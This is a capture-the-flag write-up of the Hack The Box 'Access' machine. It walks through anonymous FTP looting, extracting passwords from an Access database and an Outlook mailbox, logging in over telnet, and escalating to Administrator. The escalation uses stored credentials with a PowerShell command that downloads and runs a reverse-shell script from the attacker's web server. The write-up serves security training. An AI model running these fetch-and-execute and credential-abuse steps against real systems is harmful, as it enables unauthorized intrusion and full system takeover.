Access Writeup
09 September 2023 #CTF #HTB #box #easy #windowsEnumeration
nmap
$ sudo nmap -sC -sV 10.10.10.98
[...]
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[...]
FTP
As nmap
told us, we can access the FTP server anonymously. Let's download everything recursively with wget
:
$ wget -r --no-passive-ftp ftp://10.10.10.98
We have to specify the --no-passive-ftp
flag to use "active" mode which basically means that the server will connect back to us instead of the other way around. Check out this article to learn more about active vs passive FTP.
There are only 2 files:
$ find ftp/ -type f -ls
1098942 12 -rw-r--r-- 1 yep yep 10870 Aug 24 2018 ftp/Engineer/Access\ Control.zip
1098940 5520 -rw-r--r-- 1 yep yep 5652480 Aug 23 2018 ftp/Backups/backup.mdb
The zip archive is password protected:
$ file 'Access Control.zip'
Access Control.zip: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted
We can use zip2john
to get a crackable hash and then try to crack it with hashcat
or john
but in this case, it won't yield anything.
The other file is a Microsoft Access database:
$ file backup.mdb
backup.mdb: Microsoft Access Database
To work with these kind of files, we'll want to install the mdbtools
package (on Debian/Ubuntu/Kali: sudo apt install mdbtools
).
Now let's use the mdb-tables
command to list all tables present in this DB:
$ mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx
We can export a table to csv format with mdb-export
. Doing it by hand is clearly not a good option given how many tables there are, so let's write a quick bash loop to run mdb-export
against each table in the DB and write it to a dump.txt
file:
for table in $(mdb-tables backup.mdb); do echo $table:; mdb-export backup.mdb $table; echo; done > dump.txt
Now if we look in this dump file and search for interesting words such as "password", we'll find this auth_user
table:
auth_user:
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
Foothold
The password "access4u@security" works for unziping the archive:
$ 7z e 'Access Control.zip'
[...]
$ ls
'Access Control.pst' 'Access Control.zip'
There is just 1 file in the archive, a Microsoft Outlook mailbox:
$ file 'Access Control.pst'
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
This is a binary format so we want to convert it to something a bit more readable. Install the pst-utils
package (sudo apt install pst-utils
) and run readpst
to convert from pst to mbox, which is a plain text mailbox format:
$ readpst 'Access Control.pst'
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
Now let's take a look at this mailbox:
$ cat 'Access Control.mbox'
[...]
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is
passed on to your engineers.
[...]
We can use these creds to get a shell via telnet (port 23/tcp):
$ telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service
login: security
password:
*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security
Privesc
There is an unusual directory ZKTeco
in C:\
.
C:\>dir C:\
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of C:\
08/23/2018 11:05 PM <DIR> inetpub
07/14/2009 04:20 AM <DIR> PerfLogs
08/23/2018 09:53 PM <DIR> Program Files
08/24/2018 08:40 PM <DIR> Program Files (x86)
08/24/2018 08:39 PM <DIR> temp
08/21/2018 11:31 PM <DIR> Users
07/14/2021 02:04 PM <DIR> Windows
08/22/2018 08:23 AM <DIR> ZKTeco
0 File(s) 0 bytes
8 Dir(s) 3,347,705,856 bytes free
Inside this directory is an application called ZKAccess. We can get the version installed in the changelog:
C:\ZKTeco\ZKAccess3.5> type "C:\ZKTeco\ZKAccess3.5\ZKAccess3.5 Change Log.txt"
ZKAccess_3.5.3.12
[...]
Looking for public exploits, we find this one which involves insecure file permissions on the C:\ZKTeco\ZKAccess3.5
directory. It's supposed to look like this:
We see that NT AUTHORITY\Authenticated Users
has modify (M) permission on this directory, which means that any user can change the binary used by the service and replace it with something malicious.
However, when we look at our directory, we don't see the modify permission:
C:\ZKTeco>icacls ZKAccess3.5
ZKAccess3.5 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
Maybe this is a slightly newer version that has been patched, or the box author manually changed the permissions (Furthermore, it looks like there is no running process or service run by this app...).
Moving on, at some point in our enumeration process, we should look for stored credentials:
C:\>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
Bingo, there are saved creds for the Administrator. This means we can run commands as Administrator without specifying the password.
We'll use a Nishang reverse shell hosted on a python werbserver with python -m http.server
:
C:\>runas /savecred /user:ACCESS\Administrator "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.27:8000/rev.ps1')"
This PowerShell snippet will just make a request to our webserver to grab the reverse shell script and execute it.
Make sure to change the IP and/or port if needed. Right after running this command, we get a request on our python webserver and we get the shell as Administrator:
$ nc -lnvp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.98:49158.
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami
access\administrator
Key Takeaways
- Telnet shells are horrible